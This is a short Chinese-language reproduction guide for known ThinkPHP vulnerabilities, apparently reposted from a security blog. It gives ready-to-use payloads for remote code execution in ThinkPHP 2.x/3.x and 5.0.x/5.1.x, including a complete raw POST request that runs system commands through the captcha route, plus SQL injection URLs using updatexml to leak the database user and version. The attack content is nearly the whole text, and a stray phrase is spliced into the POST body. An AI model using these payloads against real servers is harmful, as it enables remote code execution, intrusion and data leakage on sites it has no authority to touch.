ThinkPHP框架漏洞远程代码执⾏SQL注⼊信息泄露复现(附检测⼯具)
0x00 thinkphp简介
ThinkPHP是⼀个快速、兼容⽽且简单的轻量级国产PHP开发框架,ThinkPHP可以⽀持windows/Unix/Linux等服务器环境,正式版需要PHP5.0以上版本⽀持,⽀持MySql、PgSQL、Sqlite多种数据库以及PDO扩展。
0x01 ThinkPHP 2.x 3.x 任意代码执⾏
ThinkPHP 2.x版本中,使⽤preg_replace的/e模式匹配路由,
导致⽤户的输⼊参数被插⼊双引号中执⾏,造成任意代码执⾏漏洞,ThinkPHP 3.0版本因为Lite模式下没有修复该漏洞,也存在这个漏洞。
payload:/index.php?s=/index/index/name/$%7B@phpinfo()%7D
0x02 Thinkphp5 5.0.22/5.1.29 远程代码执⾏
漏洞位置:/index.php?s=captcha
payload:_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami
0x03 ThinkPHP5 5.0.23远程代码执⾏
POC:post请求
POST /index.php?s=captcha HTTP/1.1
Host: 192.168.222.134:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id中文版php开发工具
0X04 ThinkPHP5 SQL注⼊漏洞/信息泄露
信息泄露payload:/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1
sql注⼊payload:/index.php?ids[0,updatexml(0,concat(0xa,@@version),0)]=1

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。